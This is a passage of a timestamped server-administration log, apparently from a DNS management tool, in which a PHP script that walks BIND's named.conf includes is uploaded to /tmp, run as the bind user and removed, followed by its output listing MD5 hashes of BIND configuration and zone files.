		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:28:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp580107; rm /tmp/pkp580107'

2026-04-23 12:28:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:28:33: Establishing a connection
2026-04-23 12:28:33: 

PUT: /tmp/pkp863974

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:28:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp863974; rm /tmp/pkp863974'

2026-04-23 12:28:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
